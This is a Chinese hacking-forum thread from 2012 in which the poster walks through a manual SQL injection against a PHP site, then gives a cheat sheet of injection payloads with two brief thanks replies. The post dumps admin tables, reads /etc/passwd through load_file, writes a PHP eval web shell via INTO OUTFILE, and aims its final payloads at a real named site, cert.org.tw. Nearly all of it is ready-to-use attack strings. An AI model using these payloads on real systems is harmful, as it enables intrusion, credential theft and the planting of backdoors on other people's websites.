找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3258|回复: 2
打印 上一主题 下一主题

手工注入拿下一站

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-23 14:47:22 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~
( G9 |! t6 D3 @! H4 C/ T( {让我看看,既然人家开口了,我也不好拒绝,那就看看吧?
1 }9 Q3 A1 c* j) I  J% i我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。2 K- l" Y/ `5 h" L
如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)
& _- r) P. b8 y( c1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)
7 ^* o, I* v' Q4 X$ @这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:
" ]. e% o: |: G( `) i) v9 QWarning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
8 @9 B3 i* P% ]7 f4 V+ @/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入
! N; y' \  @# \; O                        
4 V8 @5 m( s) O- i( ?3 `4 o8 P+ X2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,
4 d7 x9 o  s# p$ {- o0 n7 i, r3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3   ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意) r; i1 x2 Y2 V. d) C0 p
4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息
! y! K! F9 @7 S/ E5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。
% {; P7 L% @' X; F- l有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,' V% w# D. l1 g1 Z+ Q" M
2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。/ Q( a  ?0 m; M' r, V8 J( |
我就用的是第二个思路,
8 F& }. b2 f9 m$ N" F提交and 1=2 union select 1,2,3,4,table_name,6,7,8  from information_schema.tables where table_schema=database() limit 0,1--  
' S* G4 ?5 F# D9 Q9 w6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,% S" l+ J, D4 b  x( Z! z6 s
提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--4 d( o, B; m) L9 {- Y9 `3 p0 L
注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。# P* ^2 M0 Y" Z& I
7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????
5 g! H/ i1 K" R0 U是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....7 N* K) j( w( i: \# V
提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --! C8 s9 D7 z* q+ [& S
然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,7 k* [2 G4 ^- i9 V
调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限....... `* g: Z: n, P6 @. l
下面是一些很普遍注入方式资料:5 }- u6 y; O3 F! f
注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='' e7 \  z. }5 @( b+ N
拆半法
, D7 y( V4 M; C/ F& i######################################
/ Q( \6 I5 u$ `and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。! N* Q2 H. ~7 w1 F
and exists (select * from admin)1 p) c  E: h- I/ P- e. G
and exists(select id from admin)
1 F# C6 W) S, P5 a# G. t7 Z' Xand exists(select id from admin where id=1)
9 k. H, I: c& Y( E: v! g! sand exists(select id from admin where id>1) * P5 n6 B: B+ V9 p2 w1 }$ b5 c
然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围
5 G7 c; s0 o  c$ Band exists (select username from admin)
8 |/ f2 C$ t4 M  n' e' C: H+ hand exists (select password from admin)
1 W$ V4 c2 W; jand exists (select id from admin where len(username)<10 and id=1)
$ J- Z% ]  e- N! nand exists (select id from admin where len(username)>5 and id=1)4 H' P1 p! A3 n6 l3 T" @& s
and exists (select id from admin where len(username)=6 and id=1)9 m* Q; D$ f. l  c; Z, `
and exists (select id from admin where len(password)<10 and id=1)* \& P, o( D2 P
and exists (select id from admin where len(password)>5 and id=1)
( F1 f4 r# c" ]' E' \5 `and exists (select id from admin where len(password)=7 and id=1), z) I3 X1 d* }" F* L
and (select top 1 asc(mid(username,1,1)) from admin)=97
& F, w* ^: h( s) V. y% a/ H返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。
" I( f2 E  x1 ~7 Q" Q( l猜第二位把username,1,1改成username,2,1就可以了。4 G& H8 y  W$ t3 P0 }5 X: K- J
猜密码把username改成password就OK了
3 l$ d: ~" p( D4 S8 m# I##################################################1 x8 b2 V& y: k- q' a
搜索型注入* N1 h1 c! A" _0 t/ J
##################################: K% T; i: s0 C' Y* u9 ^2 L
%' and 1=1 and '%'='  Y9 r9 a- F! F8 H$ K5 ~
%' and exists (select * from admin) and '%'='
7 v% M* J. x2 I; l. U, b3 O' G%' and exists(select id from admin where id=1) and '%'='
" O( {& y  j/ o! y%' and exists (select id from admin where len(username)<10 and id=1) and '%'='- S" ]# k9 K- X' z# E
%' and exists (select id from admin where len(password)=7 and id=1) and '%'='$ n9 o/ `4 `5 G5 B; x3 F  |6 e
%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='3 N' p) q5 o2 N) w% O
这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='
) `0 J1 _' c- `6 l' x8 A! g4 `+ B对于MSSQL数据库,后面可以吧 and '%'='换成--' `7 a% ~5 W# G. |# I2 a
还有一点搜索型注入也可以使用union语句。
( b, v& V1 ^0 E& _. \########################################################4 K' e2 M$ {/ o' }( e/ P
联合查询。
5 x5 e) r7 L7 u6 S#####################################& d; b! Y- V- I4 r( O
order by 10
- D) t2 a, S2 Q3 L; P* x1 ]; @' ?# pand 1=2 union select 1,2,3,4,5,6,7,8,9,10) M3 n2 Q; R5 b: ]- s5 C! I
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin. D" F2 u( t6 n0 n
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1/ b* Z5 J5 K+ U
很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)/ q, V& M! }4 I( d5 o& n6 p! D
###################################
8 ~. L) q" G& y0 |1 s6 d0 ?cookie注入
3 [  v. M2 S5 w. G8 X) s8 P4 c& t1 [###############################
. c3 Z, u: Q* n' g. P: nhttp://www.******.com/shownews.asp?id=127
' P) w' n0 E% j: Chttp://www.******.com/shownews.asp5 F2 f6 n. G; x1 I* X0 a. h3 n" _
alert(="id="+escape("127"));: k3 |- G; I6 A7 Z9 W) S% Z
alert(="id="+escape("127 and 1=1"));) T5 v4 o( h  ^. N( }
alert(="id="+escape("127 order by 10"));
' V" X# B  j9 e7 halert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));
/ o( L1 S$ M5 V5 x6 jalert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));
0 ^8 ], z/ |# y8 e0 w这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。! r( t5 d3 X1 h
###################################5 X" A3 I% n. W& z# K3 p
偏移注入
9 L- w" P: X  @9 a  [2 y###########################################################
2 j7 a0 K# h5 O  Munion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin- _! @( q; F$ x
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin' b: @% p6 \* i! [1 d9 J
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)
; c8 H# K1 V" l3 j0 {* E3 Wunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)" h0 l, l+ R9 G1 P$ [, z/ T
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
9 L5 a% x# y* dunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
+ o5 D  O1 k( X6 K2 h0 Zunion select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on1 h# H1 f2 Z* F7 z3 ]1 h$ K7 k9 v
a.id=d.id)
: G; T4 a0 G  k( oand 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)3 ^% J& v' r, ]+ ~! z
and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
& u+ ~2 d* D2 y! R  $ f4 T* w% l, v( T- \
============================================================================================================' f* E5 r2 k) I, D- o, O
1.判断版本+ u* o; Q6 T' X1 w
and ord(mid(version(),1,1))>51
3 _/ i/ T& v- v% i6 V返回正常,说明大于4.0版本,支持ounion查询
0 D+ u% i! i3 F, y) i2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解
, \* |8 g, U9 k' ]) ^, zand 2=4 union select 1,2,3,4,5,6,7,8,9--$ b$ t% c4 D- p% s; L" }' {
3.查看数据库版本及当前用户,
4 J6 R0 z+ d! Z- U* t8 Fand 2=4 union select 1,user(),version(),4,5,6,7,8,9--
) S- B6 z3 h( R; c* I数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,) E/ G! ?8 ?' H
4.判断有没有写权限
5 F- i2 [# J& S& Q0 s/ Zand (select count(*) from MySQL.user)>0-- # Q# l5 t& w4 l; k
5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1$ e, K1 R6 Y! m' z* s( U  E; V
用不了这个命令,就学习土耳其黑客手法,如下
1 G+ o' t3 _0 U, \7 H* o) L4 ^6 u6 [and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--- h8 \4 i4 y$ o0 j; X$ s+ D5 y
6.爆表,爆库1 y8 [3 w5 `3 R. h: `
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
: d& _' i1 ~  g7.爆列名,爆表) j& W+ V$ X' g; m4 Z) h
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--' d. ]% l3 ~6 b* Q: q* v" C* J
8.查询字段数,直接用limit N,1去查询,直接N到报错为止。
: k3 X6 G. A8 E- land+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--; r3 B/ F4 H' v# u( Q$ i+ {
9.爆字段内容
+ G- P# o. {/ \1 W5 nand+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--) p. w3 j6 L. r. V& o3 J
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--
回复

使用道具 举报

板凳
发表于 2012-9-25 18:53:39 | 只看该作者
谢谢分享,学习思路啊
回复 支持 反对

使用道具 举报

沙发
发表于 2012-9-24 21:40:46 | 只看该作者
非常好的归纳。坐下慢慢看~
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表